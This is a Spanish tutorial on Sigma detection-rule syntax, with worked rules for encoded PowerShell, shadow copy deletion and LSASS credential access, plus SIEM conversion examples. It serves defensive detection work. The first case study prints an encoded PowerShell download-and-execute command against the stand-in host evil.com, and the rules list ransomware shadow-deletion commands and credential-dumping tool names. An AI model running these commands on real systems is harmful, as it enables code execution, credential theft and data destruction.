Reglas Sigma: Sintaxis, Estructura y Tu Primer Caso Práctico

Sigma es a los logs lo que YARA es a los ficheros

Si has escrito reglas YARA para detectar malware en binarios, ya conoces el concepto: un formato declarativo que describe qué buscar, independiente de la herramienta que ejecuta la búsqueda. Sigma hace exactamente lo mismo, pero para logs y eventos del sistema.

El problema que resuelve es concreto. Un analista SOC descubre que un grupo APT usa PowerShell con comandos codificados en Base64 para descargar payloads. Quiere detectar ese comportamiento en su SIEM. Si usa Splunk, escribe SPL. Si usa Elastic, escribe KQL. Si usa Microsoft Sentinel, otra variante de KQL. Si mañana migra de SIEM, reescribe todo desde cero.

Sigma elimina esa dependencia. Escribes la detección una vez en YAML y la conviertes al lenguaje de tu SIEM con un compilador. Cambias de plataforma, recompilas las reglas y sigues operando. Sin reescribir lógica, sin perder cobertura.

Historia: de dónde viene Sigma

Sigma nació en 2017, creado por Florian Roth (fundador de Nextron Systems, autor de THOR y LOKI) y Thomas Patzke. Lo presentaron en la conferencia BSides Zurich con una premisa simple: la comunidad de seguridad necesitaba un formato abierto y universal para compartir detecciones basadas en logs, igual que YARA había estandarizado las firmas de ficheros y Snort/Suricata las de red.

Antes de Sigma, cada equipo de detección mantenía sus reglas en el formato propietario de su SIEM. El conocimiento era intransferible. Si un investigador publicaba un reporte de amenaza con IOCs de red e indicadores de comportamiento, el analista SOC tenía que traducir manualmente cada indicador a su plataforma. Sigma estandarizó ese proceso.

Hoy, el repositorio SigmaHQ en GitHub contiene más de 3.000 reglas mantenidas por la comunidad, mapeadas a MITRE ATT&CK y organizadas por categoría de log. Es el estándar de facto para compartir detecciones.

Anatomía completa de una regla Sigma

Una regla Sigma es un fichero YAML con una estructura definida. Veamos cada campo:

title: Suspicious PowerShell Encoded Command
id: f3a98ce4-6164-4dd4-86c1-81a68a516c38
related:
  - id: abc12345-6789-0abc-def0-123456789abc
    type: derived
status: test
description: |
    Detects the use of PowerShell with encoded commands,
    a technique commonly used by attackers to obfuscate
    malicious scripts and bypass simple string-based detections.
references:
    - https://attack.mitre.org/techniques/T1059/001/
    - https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_powershell_exe
author: MalwareIntel Research
date: 2026-06-05
modified: 2026-06-05
tags:
    - attack.execution
    - attack.t1059.001
    - attack.defense_evasion
    - attack.t1027
logsource:
    category: process_creation
    product: windows
detection:
    selection_process:
        Image|endswith:
            - '\powershell.exe'
            - '\pwsh.exe'
    selection_encoded:
        CommandLine|contains:
            - '-enc '
            - '-EncodedCommand '
            - '-ec '
    condition: selection_process and selection_encoded
fields:
    - CommandLine
    - ParentImage
    - User
    - ParentCommandLine
falsepositives:
    - Legitimate admin scripts using encoded commands
    - Software deployment tools (SCCM, Intune)
level: high

Campos obligatorios

Campo	Tipo	Descripción
title	string	Nombre descriptivo de la regla. Corto, claro, en inglés por convención
id	UUID v4	Identificador único global. Generar con uuidgen o similar
status	enum	Estado de madurez: experimental, test, stable, deprecated, unsupported
logsource	object	Define qué tipo de log analiza la regla
detection	object	La lógica de detección propiamente dicha
level	enum	Severidad: informational, low, medium, high, critical

Campos opcionales (pero recomendados)

Campo	Tipo	Descripción
description	string	Explicación detallada del comportamiento que detecta
references	list	URLs a reportes, papers o documentación relevante
author	string	Quién escribió la regla
date	date	Fecha de creación (YYYY-MM-DD o YYYY/MM/DD)
modified	date	Última modificación
tags	list	Tags MITRE ATT&CK y otros clasificadores
fields	list	Campos del log que deben incluirse en la alerta
falsepositives	list	Escenarios conocidos de falsos positivos
related	list	IDs de reglas relacionadas con tipo de relación (derived, obsoletes, merged, renamed, similar)

El campo status en detalle

• experimental: idea nueva, sin probar en producción. Puede generar muchos falsos positivos.
• test: probada en al menos un entorno real, pero necesita más validación.
• stable: validada en múltiples entornos, lista para producción.
• deprecated: sustituida por otra regla. El campo related indica cuál.
• unsupported: no funciona con los backends actuales.

Logsource: dónde buscar

El bloque logsource define el tipo de evento que la regla analiza. Tiene tres campos principales:

logsource:
    category: process_creation
    product: windows
    service: sysmon

category

Define el tipo de evento de forma abstracta, independiente del producto:

Categoría	Qué contiene	Ejemplo de uso
process_creation	Creación de procesos	Detectar ejecución de herramientas ofensivas
file_event	Creación/modificación/eliminación de ficheros	Detectar drops de malware
file_change	Cambios en ficheros existentes	Detectar modificación de binarios del sistema
network_connection	Conexiones de red salientes	Detectar C2 beaconing
dns_query	Consultas DNS	Detectar DNS tunneling o dominios DGA
registry_event	Operaciones en el registro de Windows	Detectar persistencia
image_load	Carga de DLLs	Detectar DLL sideloading
pipe_creation	Creación de named pipes	Detectar comunicación inter-proceso de C2
ps_script	Ejecución de scripts PowerShell (ScriptBlock Logging)	Detectar código malicioso desofuscado
webserver	Logs de servidor web	Detectar exploits web
firewall	Logs de firewall	Detectar escaneos o conexiones sospechosas
proxy	Logs de proxy HTTP	Detectar URLs maliciosas

product

El sistema operativo o plataforma: windows, linux, macos, azure, aws, gcp.

service

El servicio concreto que genera los logs: sysmon, security, system, powershell, applocker, auditd, etc. Es opcional: si solo especificas category y product, el backend decide qué fuente de logs usar.

Detection: la lógica que detecta

El bloque detection es el corazón de la regla. Contiene una o más selecciones (condiciones de búsqueda) y una condición que las combina.

Estructura básica

detection:
    selection:
        FieldName: value
    condition: selection

Cada selección es un diccionario de campo-valor. Los campos corresponden a campos del log (según el logsource). Los valores pueden ser strings, listas o patrones.

Valores y wildcards

detection:
    selection:
        CommandLine: '*mimikatz*'      # wildcard: contiene "mimikatz"
        User: 'SYSTEM'                 # valor exacto
        Image:
            - '*\cmd.exe'              # lista: cualquiera de estos valores
            - '*\powershell.exe'
            - '*\pwsh.exe'

Los wildcards de Sigma son * (cualquier cantidad de caracteres) y ? (un carácter). Funcionan en los valores, no en los nombres de campo.

Modificadores de detección

Los modificadores se aplican al nombre del campo con el operador |. Son la funcionalidad más potente de Sigma:

Modificador	Efecto	Ejemplo
contains	El campo contiene el valor	CommandLine|contains: '-enc'
startswith	El campo empieza con el valor	Image|startswith: 'C:\Users\'
endswith	El campo termina con el valor	Image|endswith: '\powershell.exe'
all	Todos los valores de la lista deben coincidir	CommandLine|contains|all: ['-nop', '-w hidden']
base64	Busca el valor codificado en Base64	CommandLine|base64: 'IEX'
base64offset	Como base64 pero con offsets (0, 1, 2)	CommandLine|base64offset: 'IEX'
re	Expresión regular	CommandLine|re: '\\\\[a-z]{8}\.exe'
cidr	Rango de red CIDR	DestinationIp|cidr: '10.0.0.0/8'
windash	Acepta - y / como prefijo de argumento	CommandLine|windash|contains: '-EncodedCommand'
utf16le	Busca la cadena codificada en UTF-16LE	CommandLine|utf16le|base64: 'IEX'
wide	Alias de utf16le	CommandLine|wide|base64: 'IEX'
expand	Expande variables de entorno (%SystemRoot%)	TargetFilename|expand: '%SystemRoot%\System32\*'

Los modificadores se pueden encadenar. El orden importa: se aplican de izquierda a derecha. Un caso habitual es buscar strings de PowerShell que el atacante codificó en Base64 en su formato UTF-16LE (que es como PowerShell codifica internamente los -EncodedCommand):

detection:
    selection:
        ScriptBlockText|utf16le|base64offset|contains:
            - 'Invoke-Expression'
            - 'IEX'
            - 'Invoke-WebRequest'

Selecciones múltiples y filtros

Puedes definir múltiples selecciones y combinarlas en la condición:

detection:
    selection_process:
        Image|endswith: '\rundll32.exe'
    selection_cmdline:
        CommandLine|contains:
            - 'javascript:'
            - 'vbscript:'
    filter_legitimate:
        ParentImage|endswith: '\explorer.exe'
        CommandLine|contains: 'shell32.dll'
    condition: selection_process and selection_cmdline and not filter_legitimate

Condiciones lógicas

La línea condition combina las selecciones usando operadores lógicos:

Operadores básicos

Operador	Significado	Ejemplo
and	Todas las condiciones deben cumplirse	selection_a and selection_b
or	Al menos una condición debe cumplirse	selection_a or selection_b
not	Niega una condición	selection and not filter
( )	Agrupación	(sel_a or sel_b) and not filter

Cuantificadores

Cuantificador	Significado	Ejemplo
1 of selection_*	Al menos una selección que empiece con selection_	1 of selection_*
all of selection_*	Todas las selecciones que empiecen con selection_	all of selection_*
1 of them	Al menos una de todas las selecciones definidas	1 of them
all of them	Todas las selecciones definidas	all of them

Los cuantificadores simplifican reglas con muchas variantes:

detection:
    selection_tool_1:
        Image|endswith: '\mimikatz.exe'
    selection_tool_2:
        Image|endswith: '\rubeus.exe'
    selection_tool_3:
        Image|endswith: '\sharphound.exe'
    selection_tool_4:
        Image|endswith: '\lazagne.exe'
    condition: 1 of selection_tool_*

Agregaciones (count, near)

Sigma soporta condiciones de agregación para detectar patrones estadísticos:

detection:
    selection:
        EventID: 4625    # Failed logon
    condition: selection | count(TargetUserName) by SourceIp > 10

Esta regla detecta más de 10 intentos fallidos de login desde la misma IP, lo que indica fuerza bruta. El operador count() agrupa por el campo indicado y compara con un umbral.

Otros agregadores disponibles: count, min, max, avg, sum, near (proximidad temporal de eventos).

Metadatos y tags MITRE ATT&CK

El campo tags usa una convención estandarizada para mapear la regla a MITRE ATT&CK:

tags:
    - attack.execution              # Táctica (minúsculas, sin espacios)
    - attack.t1059.001              # Técnica (con subtécnica)
    - attack.defense_evasion
    - attack.t1027                  # Técnica (sin subtécnica)
    - cve.2024.12345                # CVE relacionado

El formato es attack.<táctica> para tácticas y attack.t<NNNN> o attack.t<NNNN>.<NNN> para técnicas. Esto permite que herramientas como MITRE ATT&CK Navigator generen coberturas automáticas a partir de tu conjunto de reglas.

Caso práctico 1: Detectar PowerShell -EncodedCommand

Este es uno de los indicadores más comunes en cadenas de ataque. Los atacantes codifican sus scripts en Base64 para evitar detecciones basadas en strings.

La amenaza

powershell.exe -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AZQB2AGkAbAAuAGMAbwBtAC8AcABhAHkAbABvAGEAZAAnACkA

Decodificando el Base64:

IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload')

La regla completa

title: PowerShell Encoded Command Execution
id: f3a98ce4-6164-4dd4-86c1-81a68a516c38
status: stable
description: |
    Detects PowerShell execution with encoded commands. This technique
    is frequently used by threat actors (Emotet, QakBot, Cobalt Strike)
    to obfuscate malicious scripts during initial access and execution phases.
references:
    - https://attack.mitre.org/techniques/T1059/001/
    - https://attack.mitre.org/techniques/T1027/
author: MalwareIntel Research
date: 2026-06-05
tags:
    - attack.execution
    - attack.t1059.001
    - attack.defense_evasion
    - attack.t1027
logsource:
    category: process_creation
    product: windows
detection:
    selection_process:
        Image|endswith:
            - '\powershell.exe'
            - '\pwsh.exe'
    selection_encoded:
        CommandLine|windash|contains:
            - '-EncodedCommand'
            - '-enc'
            - '-ec'
    selection_hidden:
        CommandLine|windash|contains:
            - '-WindowStyle Hidden'
            - '-w hidden'
            - '-nop'
    condition: selection_process and selection_encoded
fields:
    - CommandLine
    - ParentImage
    - ParentCommandLine
    - User
    - IntegrityLevel
falsepositives:
    - Legitimate admin scripts using encoded commands for special character handling
    - SCCM/Intune deployment scripts
    - Some monitoring agents
level: high

Desglose de la detección

La regla define dos selecciones principales:

1. selection_process: identifica que el proceso es PowerShell (powershell.exe o pwsh.exe, la versión PowerShell Core). Usa endswith porque la ruta completa varía entre sistemas (C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe vs C:\Windows\SysWOW64\...).

2. selection_encoded: busca las variantes del parámetro -EncodedCommand. El modificador windash es clave: acepta tanto -enc como /enc, porque Windows permite ambos estilos de argumento. El modificador contains maneja los espacios y argumentos adicionales alrededor.

La condición combina ambas con and: el proceso debe ser PowerShell y la línea de comandos debe contener un argumento de comando codificado.

La tercera selección (selection_hidden) no está en la condición principal. Puedes usarla para crear una variante más estricta: selection_process and selection_encoded and selection_hidden reduciría falsos positivos pero podría perder variantes que no ocultan la ventana.

Caso práctico 2: Detectar eliminación de Shadow Copies

La eliminación de shadow copies es un paso habitual en el playbook de ransomware. Antes de cifrar, el atacante elimina los puntos de restauración para que la víctima no pueda recuperar sus archivos sin pagar.

title: Shadow Copy Deletion via vssadmin or wmic
id: a7c7e1a2-9b3f-4e5d-8c1a-2f4e6d8a0b3c
status: stable
description: |
    Detects deletion of Volume Shadow Copies using vssadmin or wmic.
    This is a critical pre-encryption step in virtually all ransomware
    families including LockBit, BlackCat, Conti, and Royal.
references:
    - https://attack.mitre.org/techniques/T1490/
author: MalwareIntel Research
date: 2026-06-05
tags:
    - attack.impact
    - attack.t1490
logsource:
    category: process_creation
    product: windows
detection:
    selection_vssadmin:
        Image|endswith: '\vssadmin.exe'
        CommandLine|contains|all:
            - 'delete'
            - 'shadows'
    selection_wmic:
        Image|endswith: '\wmic.exe'
        CommandLine|contains|all:
            - 'shadowcopy'
            - 'delete'
    selection_powershell:
        Image|endswith:
            - '\powershell.exe'
            - '\pwsh.exe'
        CommandLine|contains:
            - 'Get-WmiObject Win32_ShadowCopy | ForEach-Object {$_.Delete()}'
            - 'gwmi Win32_ShadowCopy | % {$_.Delete()}'
    condition: 1 of selection_*
fields:
    - CommandLine
    - ParentImage
    - User
falsepositives:
    - Legitimate backup software managing shadow copies
    - System administrators performing disk cleanup
level: critical

El uso de 1 of selection_* es idiomático en Sigma. En lugar de escribir selection_vssadmin or selection_wmic or selection_powershell, el cuantificador captura automáticamente todas las selecciones que empiezan con selection_. Si mañana añades una cuarta variante (por ejemplo, selection_diskshadow), la condición la incluye sin modificarla.

Caso práctico 3: Detectar acceso a LSASS

El proceso LSASS (Local Security Authority Subsystem Service) almacena credenciales en memoria. Herramientas como Mimikatz, ProcDump y Cobalt Strike lo atacan para extraer hashes NTLM, tickets Kerberos y contraseñas en texto plano.

title: Suspicious LSASS Process Access
id: b4d2e6f8-1a3c-5e7d-9f0b-2c4a6e8d0f1a
status: test
description: |
    Detects suspicious access to the LSASS process memory, which may
    indicate credential dumping. Covers Mimikatz, ProcDump, comsvcs.dll
    MiniDump, and direct process access patterns.
references:
    - https://attack.mitre.org/techniques/T1003/001/
    - https://www.microsoft.com/security/blog/2022/10/05/detecting-and-preventing-lsass-credential-dumping-attacks/
author: MalwareIntel Research
date: 2026-06-05
tags:
    - attack.credential_access
    - attack.t1003.001
logsource:
    category: process_access
    product: windows
detection:
    selection:
        TargetImage|endswith: '\lsass.exe'
        GrantedAccess|contains:
            - '0x1010'    # PROCESS_QUERY_LIMITED_INFORMATION + PROCESS_VM_READ
            - '0x1038'    # Mimikatz default
            - '0x1fffff'  # PROCESS_ALL_ACCESS
            - '0x1410'
    filter_system:
        SourceImage|endswith:
            - '\wmiprvse.exe'
            - '\taskmgr.exe'
            - '\procexp64.exe'
            - '\MsMpEng.exe'
            - '\csrss.exe'
            - '\lsm.exe'
            - '\svchost.exe'
    filter_sysmon:
        SourceImage: 'C:\Windows\system32\svchost.exe'
    condition: selection and not 1 of filter_*
fields:
    - SourceImage
    - GrantedAccess
    - CallTrace
    - SourceUser
falsepositives:
    - Legitimate security products accessing LSASS
    - Windows Error Reporting
    - Antivirus scanning
level: high

Esta regla usa process_access como categoría (requiere Sysmon Event ID 10 o equivalente). Los valores de GrantedAccess son máscaras de acceso específicas: 0x1fffff es PROCESS_ALL_ACCESS (lo que pide Mimikatz por defecto), y 0x1010 es la combinación mínima para leer memoria de otro proceso.

Los filtros excluyen procesos legítimos del sistema que acceden a LSASS normalmente. Sin estos filtros, la regla generaría cientos de falsos positivos por hora.

Backends y conversión

Sigma necesita un compilador para transformar la regla YAML en una query ejecutable en tu SIEM. La herramienta oficial es sigma-cli con la librería pySigma.

Instalación

pip install sigma-cli
# Instalar backends específicos
pip install pySigma-backend-splunk
pip install pySigma-backend-elasticsearch
pip install pySigma-backend-microsoft365defender
pip install pySigma-backend-sentinelone

Conversión

# A Splunk SPL
sigma convert -t splunk rule.yml

# A Elastic (Lucene query)
sigma convert -t elasticsearch rule.yml

# A Microsoft Sentinel KQL
sigma convert -t microsoft365defender rule.yml

# A Splunk con pipeline de transformación (mapeo de campos)
sigma convert -t splunk -p sysmon rule.yml

Backends disponibles

Backend	Target	Formato de salida
splunk	Splunk Enterprise/Cloud	SPL
elasticsearch	Elastic/OpenSearch	Lucene, EQL, ES|QL
microsoft365defender	Microsoft Sentinel, Defender	KQL
qradar	IBM QRadar	AQL
chronicle	Google Chronicle/SecOps	YARA-L
crowdstrike	CrowdStrike Falcon LogScale	FQL
sentinelone	SentinelOne	PowerQuery/Deep Visibility
cortex	Palo Alto Cortex XSIAM	XQL
loki	Grafana Loki	LogQL
sigma	Formato Sigma (validación)	YAML

Ejemplo de conversión: la regla de PowerShell encoded

Splunk SPL:

(Image="*\\powershell.exe" OR Image="*\\pwsh.exe")
AND (CommandLine="*-EncodedCommand*" OR CommandLine="*-enc*"
OR CommandLine="*/EncodedCommand*" OR CommandLine="*/enc*"
OR CommandLine="*-ec*" OR CommandLine="*/ec*")

Elastic KQL:

process.executable:(*\\powershell.exe OR *\\pwsh.exe)
AND process.command_line:(*-EncodedCommand* OR *-enc*
OR *\/EncodedCommand* OR *\/enc* OR *-ec* OR *\/ec*)

Microsoft Sentinel KQL:

DeviceProcessEvents
| where FileName in~ ("powershell.exe", "pwsh.exe")
| where ProcessCommandLine has_any
    ("-EncodedCommand", "-enc", "-ec",
     "/EncodedCommand", "/enc", "/ec")

Observa cómo el modificador windash se expande automáticamente: en Splunk y Elastic genera variantes con - y /; en Sentinel usa has_any que es case-insensitive por defecto.

SigmaHQ: el repositorio oficial

El repositorio SigmaHQ/sigma es la fuente principal de reglas Sigma compartidas por la comunidad. Contiene más de 3.000 reglas organizadas en esta estructura:

rules/
├── windows/
│   ├── process_creation/          # Sysmon Event ID 1, Security 4688
│   ├── file_event/                # Sysmon Event ID 11
│   ├── registry_event/            # Sysmon Event ID 12, 13, 14
│   ├── network_connection/        # Sysmon Event ID 3
│   ├── image_load/                # Sysmon Event ID 7
│   ├── dns_query/                 # Sysmon Event ID 22
│   ├── pipe_creation/             # Sysmon Event ID 17, 18
│   ├── ps_script/                 # PowerShell ScriptBlock Logging
│   └── builtin/
│       ├── security/              # Windows Security Log
│       ├── system/                # Windows System Log
│       └── application/           # Windows Application Log
├── linux/
│   ├── process_creation/
│   ├── file_event/
│   └── auditd/
├── macos/
├── cloud/
│   ├── azure/
│   ├── aws/
│   └── gcp/
└── network/
    ├── firewall/
    ├── proxy/
    └── dns/

Cómo contribuir a SigmaHQ

1. Forkear el repositorio y crear una rama con nombre descriptivo
2. Escribir la regla siguiendo la convención de naming: proc_creation_win_powershell_encoded_command.yml
3. Asegurar que pasa validación: sigma check rule.yml
4. Incluir al menos: id (UUID), status, logsource, detection, level, tags con mapeo ATT&CK, falsepositives, references
5. Abrir Pull Request con descripción del comportamiento que detecta

Las reglas pasan por revisión de la comunidad antes de mergearse. Las reglas con status stable requieren validación en al menos dos entornos reales.

Errores comunes al escribir Sigma

1. No usar modificadores y depender de wildcards

# MAL: frágil, depende del formato exacto del path
detection:
    selection:
        CommandLine: '*C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe*-enc*'

# BIEN: robusto, independiente del path completo
detection:
    selection:
        Image|endswith: '\powershell.exe'
        CommandLine|windash|contains: '-enc'

2. Olvidar filtros de falsos positivos

Una regla sin filter ni falsepositives es una regla que nadie va a activar en producción. Siempre documenta los escenarios legítimos y, cuando sea posible, exclúyelos directamente en la condición.

3. No mapear a MITRE ATT&CK

Sin tags ATT&CK, tu regla es invisible para herramientas de cobertura como ATT&CK Navigator. Siempre incluye al menos la táctica y la técnica.

4. Condiciones demasiado amplias

# MAL: cualquier ejecución de cmd.exe genera alerta
detection:
    selection:
        Image|endswith: '\cmd.exe'
    condition: selection

# BIEN: cmd.exe con comportamiento sospechoso específico
detection:
    selection:
        Image|endswith: '\cmd.exe'
    selection_suspicious:
        CommandLine|contains:
            - '/c whoami'
            - '/c net user'
            - '/c net localgroup'
    condition: selection and selection_suspicious

5. UUIDs duplicados o ausentes

Cada regla necesita un id único. Si copias una regla para modificarla, genera un nuevo UUID. Las herramientas de gestión de reglas usan el id para tracking de versiones y deduplicación.

6. Ignorar el campo status

No publiques reglas como stable si no las has probado en producción. Empieza con experimental, promueve a test después de validar en un entorno, y a stable cuando lleve semanas sin falsos positivos inaceptables.

Pipeline de trabajo recomendado

1. Identificar el comportamiento: a partir de un reporte CTI, una investigación o un incidente real
2. Buscar en SigmaHQ: puede que ya exista una regla para ese comportamiento
3. Escribir la regla: siguiendo la estructura YAML completa
4. Validar la sintaxis: sigma check rule.yml
5. Convertir al backend de tu SIEM: sigma convert -t splunk rule.yml
6. Probar con datos reales: ejecutar la query convertida contra logs históricos
7. Ajustar filtros: añadir exclusiones para los falsos positivos que aparezcan
8. Promover status: experimental -> test -> stable
9. Compartir: contribuir de vuelta a SigmaHQ si la regla es genérica

Recursos y referencias

• SigmaHQ en GitHub: repositorio oficial con 3.000+ reglas
• Sigma Specification: especificación formal del formato
• pySigma: librería Python para procesamiento de reglas
• sigma-cli: herramienta de línea de comandos
• Uncoder.IO: conversor online de Sigma a múltiples SIEM
• MITRE ATT&CK Navigator: visualización de cobertura
• Florian Roth en Twitter/X: creador de Sigma, publica reglas constantemente

Siguiente paso

Ahora que dominas la sintaxis, el siguiente artículo de la serie aplica Sigma a escenarios reales: 10 reglas para detectar las técnicas más comunes de ransomware en tu SOC, incluyendo cifrado masivo de ficheros, eliminación de backups, movimiento lateral y exfiltración de datos. Cada regla mapeada a la familia de ransomware que la utiliza.